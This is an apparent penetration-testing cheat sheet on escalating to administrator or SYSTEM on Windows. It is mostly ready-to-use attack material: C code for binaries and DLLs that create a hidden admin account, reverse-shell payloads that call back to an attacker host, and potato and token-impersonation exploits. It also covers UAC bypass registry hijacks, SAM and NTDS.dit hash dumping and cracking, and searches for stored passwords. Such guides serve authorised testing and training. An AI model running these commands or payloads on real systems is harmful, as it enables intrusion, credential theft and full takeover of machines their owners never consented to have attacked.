Skip to main content

Windows Privilege Escalation

Strategy
  1. Have a quick look around for files on the user's desktop and common locations (C:\ and C:\Program Files).
  2. Read through interesting files — they may contain useful information for privilege escalation.
  3. Try things that don't have many steps first (registry exploits, services, etc.).
  4. Look at admin processes, enumerate their versions, and search for exploits.
  5. Check for internal ports that you might be able to forward to your attacking machine.
  6. If you still don't have admin, re-read your full enumeration dumps and highlight anything that seems odd.
  7. At this stage, start thinking about kernel exploits.
# Set environment variables
export TARGET=<ip>
export LHOST=<your-ip>
export LPORT=4444

Core Concepts

Security Identifiers (SID)

Windows uses SIDs to identify entities. A SID is a unique value assigned to each principal (user, group) that can be authenticated. Windows uses only the SID — not usernames — for access control management.

SID structure: S-R-X-Y

  • S — literal "S" indicating a SID string
  • R — revision, always "1"
  • X — identifier authority (5 = NT Authority, most common)
  • Y — sub authorities (domain identifier + relative identifier / RID)

Example: S-1-5-21-1336799502-1441772794-948155058-1001

The RID starts at 1000 for nearly all principals. RID 1001 means this is the second local user created on the system.

Well-known SIDs:

SIDIdentity
S-1-0-0Nobody
S-1-1-0Everybody
S-1-5-11Authenticated Users
S-1-5-18Local System
S-1-5-domainid-500Administrator

Access Tokens

  • Primary Token — created when user logs in, copied to every new process the user starts
  • Impersonation Token — allows a process/thread to temporarily run as another user

Mandatory Integrity Control (MIC)

From Windows Vista onward, processes run at four integrity levels:

LevelDescription
SystemKernel-mode processes with SYSTEM privileges
HighProcesses with administrative privileges
MediumStandard user privilege processes
LowRestricted/sandboxed processes (e.g., web browsers)

User Account Control (UAC)

UAC issues two access tokens to admin users at logon:

  1. Filtered admin token — used for all non-privileged operations
  2. Full administrator token — activated only when elevation is explicitly required (UAC consent prompt)

First Steps

Always start here:

whoami /priv

Check what privileges you have — you may be able to abuse them immediately (e.g., SeImpersonatePrivilege).

systeminfo
whoami /groups

Check network connections for internal services:

netstat -ano

Automated Enumeration Tools

WinPEAS

# If running in cmd, add color support first
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
# Restart cmd, then:
.\winPEASx64.exe
warning

Tools can be wrong — always confirm findings manually if possible.

Legend:

  • 🔴 Red — special privilege or misconfiguration
  • 🟢 Green — protection enabled or well configured
  • 🔵 Cyan — active users
  • ⚫ Blue — disabled users

Seatbelt

.\Seatbelt.exe NonstandardServices
.\Seatbelt.exe all

https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe

PowerUp (PowerShell)

powershell -exec bypass
. .\PowerUp.ps1
Invoke-AllChecks

https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp

accesschk.exe

Used to check whether a user or group has access to files, directories, services, and registry keys. Use the older CLI version that still accepts /accepteula.


Post-Exploit Survey (Information Gathering)

tip

Do not underestimate the laziness of users. Check for notes on desktops with passwords, config files, and onboarding documents.

Search for Sensitive Files

Search for password manager databases:

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

Search for config files in application directories:

Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue

Search for documents in a user's home directory:

Get-ChildItem -Path C:\Users\$USER\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
tip

Found a username and password? Check what groups the user is a member of. If they're in the RDP group, RDP in. If they have "Log on as a batch job" rights, schedule a task. If they have an active session, use PsExec.

Runas (If GUI Access)

If you have RDP access and found credentials for another user:

runas /user:<username> cmd.exe

Running Processes

Get-Process

Installed Software

Get-CimInstance -ClassName Win32_Product | Select Name, Version
warning

Once you identify installed software, check for master passwords, default passwords, and public exploits. Locating passwords for those programs may enable privileged access.


PowerShell History (Information Goldmine)

Get-History

Get-History
warning

Clear-History only clears PowerShell's own history. It does NOT clear PSReadline history.

PSReadline History

Starting with PowerShell v5+, the PSReadline module records command history separately:

(Get-PSReadlineOption).HistorySavePath

Then read the file at that path. Users often don't realize Clear-History doesn't clear this file, and it may contain passwords typed as part of commands.

Search all users' PSReadline history (if you have access):

Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue | ForEach-Object { Write-Host "=== $($_.FullName) ==="; Get-Content $_ }

PowerShell Transcription

When enabled, transcription logs everything typed in PowerShell. Transcript files are often saved in user home directories or a central directory. These can contain credentials and other sensitive commands.

Script Block Logging

Records full content of code and commands as they are executed, including the original representation of encoded commands. Check Event Viewer for PowerShell events.


Service Binary Hijacking

Identify Services Outside System32

Services not in C:\Windows\System32 are user-installed and may have weak permissions:

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
tip

When using a network logon (WinRM, bind shell), Get-CimInstance and Get-Service may return "permission denied" for non-admin users. Use an interactive logon (RDP) instead.

Check Permissions

icacls "C:\path\to\service\binary.exe"

Permission masks:

MaskPermission
FFull access
MModify access
RXRead and execute
RRead-only
WWrite-only

If BUILTIN\Users has F (full access), any user can replace the binary.

Exploit

  1. Cross-compile a malicious binary on Kali:
#include <stdlib.h>
int main() {
int i;
i = system("net user newadmin Password123! /add");
i = system("net localgroup administrators newadmin /add");
return 0;
}
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
  1. Transfer and replace the service binary
  2. Restart the service:
net stop <servicename>
net start <servicename>

If you can't stop the service, check if it auto-starts at boot:

Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like '<servicename>'}

If auto-start, check if you can restart the machine:

whoami /priv
# Look for SeShutdownPrivilege

Insecure Service Permissions

Different from binary hijacking — here the service configuration itself is writable, not just the binary. If you can modify the service's configuration, you can change which binary it runs.

Check Service Permissions

.\accesschk.exe /accepteula -uwcqv $USER *

Look for services where your user has SERVICE_CHANGE_CONFIG.

Or check a specific service:

.\accesschk.exe /accepteula -ucqv $USER <servicename>

Exploit

Change the service binary path to your payload:

sc.exe config <servicename> binpath= "C:\Users\Public\reverse.exe"
sc.exe config <servicename> obj= ".\LocalSystem"
net stop <servicename>
net start <servicename>
tip

This is different from service binary hijacking (replacing the file) and unquoted service paths (exploiting spaces). Here you're reconfiguring the service itself to point to a different binary entirely.


Unquoted Service Paths

If a service path contains spaces and isn't quoted, Windows tries multiple interpretations:

For path: C:\Program Files\Some Dir\SomeProgram.exe

Windows checks in order:

  1. C:\Program.exe
  2. C:\Program Files\Some.exe
  3. C:\Program Files\Some Dir\SomeProgram.exe

Exploitation

Check if you can start/stop the service:

.\accesschk.exe /accepteula -ucqv $USER <servicename>

Look for SERVICE_START and SERVICE_STOP.

Check write permissions on each directory in the path:

.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

Look for a group you're a member of that has RW permissions. Then drop your reverse shell at the right location and restart the service.


DLL Hijacking

DLLs provide shared functionality to programs. When a service loads a DLL, whatever code it contains runs with the same privileges as the service.

DLL Search Order (Safe DLL Search Mode Enabled)

  1. Directory the application loaded from
  2. System directory (C:\Windows\System32)
  3. 16-bit system directory
  4. Windows directory (C:\Windows)
  5. Current directory
  6. Directories in the PATH environment variable

Missing DLL Exploitation

If a service tries to load a DLL that doesn't exist, you can place a malicious DLL in a directory that's searched first.

Create a malicious DLL:

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("net user newadmin Password123! /add");
system("net localgroup administrators newadmin /add");
break;
}
return TRUE;
}

Cross-compile:

x86_64-w64-mingw32-gcc dll_hijack.c -shared -o hijacked.dll
tip

The wlbsctrl.dll hijack targeting the IKEEXT service is a well-documented technique. The legitimate DLL is not present on default Windows installations, and the service loads it without an absolute path. Place a malicious version in C:\Windows\System32 and restart.


Weak Registry Permissions

Check WinPEAS Output

Look for registry keys you can write to. Confirm permissions:

Get-Acl HKLM:\System\CurrentControlSet\Services\<servicename>
.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\<servicename>

If NT AUTHORITY\INTERACTIVE has KEY_ALL_ACCESS, any locally logged-in user can modify the key.

Exploit

Check current values:

reg query HKLM\SYSTEM\CurrentControlSet\Services\<servicename>

Look at ObjectName — if it's LocalSystem, the service runs as SYSTEM.

Overwrite the image path:

reg add HKLM\SYSTEM\CurrentControlSet\Services\<servicename> /v ImagePath /t REG_EXPAND_SZ /d C:\path\to\reverse.exe /f

Restart the service:

net start <servicename>

Scheduled Tasks

List all scheduled tasks with verbose detail:

schtasks /query /fo LIST /v

Look for tasks that:

  • Run as a privileged user (e.g., daveadmin, SYSTEM)
  • Execute files in directories you can write to
  • Run frequently (every minute, every 5 minutes)

Check your permissions on the executable:

icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe

If you have Full Access (F), replace the executable with your payload and wait for the next scheduled execution.


AutoRuns

Check for writable autorun executables:

.\winPEASany.exe quiet applicationsinfo

Or manually:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Verify permissions:

.\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

If writable, replace the executable and wait for a reboot. The key runs in the context of the last logged-in user.


AlwaysInstallElevated

MSI files can be configured to install with elevated privileges. Both of these registry values must be set to 1:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Or check with WinPEAS:

.\winPEASany.exe quiet windowscreds

Generate a malicious MSI:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o reverse.msi

Saved Credentials

Check for saved credentials:

cmdkey /list

If credentials are stored, use them with runas:

runas /savecred /user:<admin-username> C:\path\to\reverse.exe

SAM and SYSTEM Backups

Check common backup locations:

dir C:\Windows\Repair\
dir C:\Windows\System32\config\RegBack\

If you can read SAM and SYSTEM files, extract hashes:

# On Kali
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Crack hashes:

hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

GPP / cPassword (Group Policy Preferences)

Older Group Policy Preferences allowed admins to set local passwords, which were stored in SYSVOL as AES-encrypted XML. Microsoft published the AES key, so anyone who can read SYSVOL can decrypt these passwords.

Check for GPP Files

findstr /S /I cpassword \\$DOMAIN\SYSVOL\$DOMAIN\Policies\*.xml

Or search manually:

Get-ChildItem -Path "\\$DOMAIN\SYSVOL" -Recurse -Include Groups.xml,Services.xml,ScheduledTasks.xml,DataSources.xml,Printers.xml,Drives.xml

Decrypt the Password

gpp-decrypt "<cpassword-value>"
warning

Microsoft patched this in MS14-025 (2014), but old GPP files may still exist in SYSVOL if they were never cleaned up. Always check.


Installed Applications

Manually enumerate running programs:

tasklist /v

Search for nonstandard processes with Seatbelt:

.\Seatbelt.exe NonstandardProcesses

WinPEAS:

.\winPEASany.exe quiet procesinfo

Once you find an interesting process, identify its version and search Exploit-DB:

  • Type: local
  • Platform: Windows
  • Search: priv esc

Kernel Exploits

  1. Enumerate Windows version and patch level:
systeminfo
  1. Check installed security updates:
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
  1. Cross-reference with known kernel CVEs at https://msrc.microsoft.com/
  2. Search for public exploit code (Google, ExploitDB, GitHub)

SeImpersonatePrivilege (Potato Attacks)

If whoami /priv shows SeImpersonatePrivilege, you can abuse named pipes to escalate to SYSTEM.

This privilege is common on:

  • IIS web servers (LocalService, LocalSystem, NetworkService, ApplicationPoolIdentity)
  • SQL Server service accounts
  • Other Windows service accounts

SigmaPotato

Universal potato that works across multiple Windows versions:

wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
python3 -m http.server 80

On target:

iwr -uri http://$LHOST/SigmaPotato.exe -OutFile SigmaPotato.exe
.\SigmaPotato.exe "net user newadmin Password123! /add"
.\SigmaPotato.exe "net localgroup Administrators newadmin /add"

PrintSpoofer

Exploits the Print Spooler service for SYSTEM escalation. Works on Windows 10 and Server 2016/2019:

.\PrintSpoofer64.exe -i -c powershell

Or execute a command directly:

.\PrintSpoofer64.exe -c "C:\Users\Public\reverse.exe"

https://github.com/itm4n/PrintSpoofer

GodPotato

Works on Windows 8 through Windows 11 and Server 2012 through Server 2022:

.\GodPotato.exe -cmd "C:\Users\Public\reverse.exe"
.\GodPotato.exe -cmd "cmd /c whoami"

https://github.com/BeichenDream/GodPotato

JuicyPotato

Works on older Windows versions (Windows 7, Server 2008/2012). Requires selecting a CLSID:

.\JuicyPotato.exe -l 1337 -p C:\Users\Public\reverse.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

CLSID list: https://ohpe.it/juicy-potato/CLSID/

Hot Potato

Works on Windows 7, 8, early Windows 10, and server counterparts. Spoofing + NTLM relay attack:

.\potato.exe -ip $TARGET -cmd "C:\path\to\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true

Wait for a Windows Defender update or trigger one manually.

tip

When choosing a potato attack, start with SigmaPotato or GodPotato (broadest compatibility), then fall back to PrintSpoofer or JuicyPotato if those don't work on your target version.


Token Impersonation (Incognito)

If you have SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, you can steal tokens from other processes.

Meterpreter Incognito

load incognito
list_tokens -u
impersonate_token "DOMAIN\\Administrator"

Standalone Incognito

.\incognito.exe list_tokens -u
.\incognito.exe execute -c "DOMAIN\Administrator" cmd.exe
tip

Token impersonation requires that the target user has an active session or a running process on the machine. It's most effective on servers where multiple users are logged in.


SeBackupPrivilege

Allows reading any file on the system, including SAM and SYSTEM registry hives, regardless of file permissions.

Extract SAM and SYSTEM

reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM

Transfer to Kali and extract hashes:

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Copy NTDS.dit (on Domain Controllers)

Use robocopy with backup mode or diskshadow:

# Create a shadow copy script
echo "set context persistent nowriters" > script.txt
echo "add volume c: alias mydrive" >> script.txt
echo "create" >> script.txt
echo "expose %mydrive% z:" >> script.txt
diskshadow /s script.txt

# Copy NTDS.dit from the shadow copy
robocopy /b z:\Windows\NTDS C:\Users\Public\ NTDS.dit

SeLoadDriverPrivilege

Allows loading kernel drivers. A malicious driver can execute arbitrary code in kernel mode.

The Capcom.sys driver is a commonly used exploit vector — it contains a function that disables SMEP and executes user-mode code with kernel privileges.


UAC Bypass

If you're logged in as a local admin but UAC is filtering your token, you need to bypass UAC to get a high-integrity process.

fodhelper.exe Bypass

Works on Windows 10:

# Set the registry key to hijack fodhelper's auto-elevate behavior
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "C:\Users\Public\reverse.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /f

# Trigger fodhelper (auto-elevates without UAC prompt)
fodhelper.exe

# Cleanup
reg delete "HKCU\Software\Classes\ms-settings" /f

eventvwr.exe Bypass

Similar technique using Event Viewer:

reg add "HKCU\Software\Classes\mscfile\Shell\Open\command" /d "C:\Users\Public\reverse.exe" /f
eventvwr.exe
reg delete "HKCU\Software\Classes\mscfile" /f
warning

UAC bypass only works if you're already a member of the local Administrators group running with a filtered token. If you're a standard user, UAC bypass won't help — you need a different escalation path.


Port Forwarding (plink.exe)

When an exploit needs to run from Kali but the vulnerable service is only listening on localhost:

plink.exe <kali-user>@$LHOST -R <kali-port>:127.0.0.1:<target-port>
tip

Ensure SSH on Kali has PermitRootLogin yes in /etc/ssh/sshd_config and restart the SSH service.


Generating Payloads (msfvenom)

Windows reverse shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o reverse.exe

MSI package:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o reverse.msi

DLL payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f dll -o malicious.dll